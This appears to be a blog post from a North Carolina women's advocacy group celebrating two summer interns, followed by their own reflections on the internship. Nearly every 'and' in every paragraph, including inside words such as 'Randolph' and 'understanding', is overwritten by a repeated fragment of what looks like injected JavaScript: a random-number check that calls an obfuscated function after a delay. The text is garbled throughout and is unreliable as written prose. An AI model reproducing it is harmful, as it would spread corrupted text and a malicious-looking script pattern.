What We Can Learn From Youth

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For women, as we gain wisdom andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and experience in our jobs, it’s easy to get so caught up in the daily demandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands of work that we overlook the potential contributions young women can make, in spite of the fact they’ve spent less years on this planet.

This summer the Woman AdvaNCe team has been blessed with the addition of two amazing interns to our staff. These young women – Zoe Redfield andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Emily Hagstrom – hit the ground running at the beginning of the summer, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and embraced the mission of Women AdvaNCe.

Their enthusiasm was refreshing andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and contagious. They were like sponges, soaking up every piece of knowledge they could gain, diving headfirst into social media efforts, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and smoothing the transition for our new executive director Naomi Random()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andolph, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and myself as Editorial Director andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Communications Coordinator.

We think it’s important we recognize them for their hard work, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and let the world know to “watch out” for these two stellar up andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and coming superstars.

Zoe Redfeld is in her second year as an English andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Gender Studies double major at The University of British Columbia in Vancouver. As if a double major at a school across the continent from her home in Chapel Hill wasn’t enough, she volunteers at the Work Training Center for Women andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Children in Vancouver where she reads andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and plays with children as their mothers pursue additional job training.

Even before she started college, Zoe was determined to set herself apart. Two years ago she participated in a archaeological research project at the Northern Cape in South Africa, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and was a representative for her school in Model UN.

Zoe comes to us from the Lillian Brown Fellowship, providing handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands-on experience with a nonprofit organization, with a concentration on helping them communicate on progressive women’s issues.

Both of them penned impressive writing pieces while interning with us. Zoe wrote >>Ask Me About My Degree, Not Dating which received quite a bit of feedback through our website andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and social media. She also told us about >>Tanya Jisa, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and her founding of Benevolence Farm, serving women recently released from prison.

Emily Hagstrom is our Moxie Scholar, through the Moxie Project. She is a sophomore at UNC, majoring in political science andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and public policy. She’s also working on a minor in Women’s andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Gender Studies. Emily works as a researcher with the Public Policy Department at UNC andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and develops workshops for the Carolina Women’s Center. In her free time, Emily works with advocacy groups andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and theatre productions on campus. She also enjoys hiking, playing guitar andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and spending time with her dogs.

The Moxie Project is an academic andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and community engagement project, that places UNC students who have completed coursework in women’s activism with community organizations for summer internships.

Emily shared her impressions of the life of a young mother in >>Motherhood Reality Check where she offered a fresh perspective on the challenges young women face as they work to support young children andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and build a career. I’ve been a mother for eight years now – andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it was good to be reminded of how difficult it was in the beginning.

Both Emily andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Zoe bravely showed us their willingness to share their thoughts with their larger community. They both had the confidence to offer their expertise, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and humility to ask for guidance when they needed it.

So when people tell you the next generation is failing, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and they don’t know how good they have it, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and are lazy andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and don’t try – think of these young women. With them serving as our future leaders I’d say we’re in pretty good shape. Our job as women already in the workforce is to raise them up, support them andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and we might just learn something along the way.

Below is feedback from Emily andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Zoe about their experience with Women Advance NC – in their own words.

From Emily:

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On my first day working at Women AdvaNCe, I hadn’t the slightest idea about what the summer had in store for me. I was so nervous that I came in that day a little over-prepared—two legal pads, a notebook, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a laptop filled my coral bag, causing my gate to be slightly unbalanced. But when I greeted Naomi Random()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andolph, the Executive Director, I was immediately at ease. She welcomed me into the space in her supportive andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and affirming way andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and invited me into the work of Women AdvaNCe. Thus began a summer of empowerment, self-discovery, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and advocacy.

Through my time with Women AdvaNCe, I have connected with incredible women all across North Carolina. I have written articles celebrating their achievements andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and highlighting how policy could better serve them; I have reached out to them for help understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding policy; I have learned from them as experts in their fields, especially Stephanie Carson the Editorial Director at Women AdvaNCe. I have delved deeply into the policy issues facing North Carolina women from all different backgrounds, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and found myself even more invested in understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding policy solutions andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and advocacy tools.

As an intern at Women AdvaNCe, I have also gained the invaluable mentorship of Naomi Random()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andolph andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and an opportunity for personal empowerment. I’ve had the chance to examine the way I project confidence andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and value myself not only in the workplace, but in life. I am stronger, a little bit wiser, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a better advocate thanks to my internship through Women AdvaNCe andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the Moxie Project at UNC.

 

From Zoe:

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Before working at Women AdvaNCe, I knew I had a passion for women’s issues. Moving away from North Carolina for school made me realize how much change needed to happen in my home state. When I saw the ad for the Brown Fellowship, I couldn’t believe how it encapsulated everything I wanted to do to make a difference. Throughout my fellowship, with the guidance andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and leadership of Naomi Random()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andolph, our executive director, I have become well-versed in the issues surrounding North Carolina women today. Not only that, but I got to apply my skill set to a good cause. Before working for Women AdvaNCe I was not as aware of things going on in the world andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and how they pertained to women’s issues, the fellowship kept me up to date andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and well informed, prepared to share what I learned with other North Carolina women. I am so thankful for this opportunity, being able to connect andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and engage on a wide variety of issues andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and to educate myself andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and others with up to date information.




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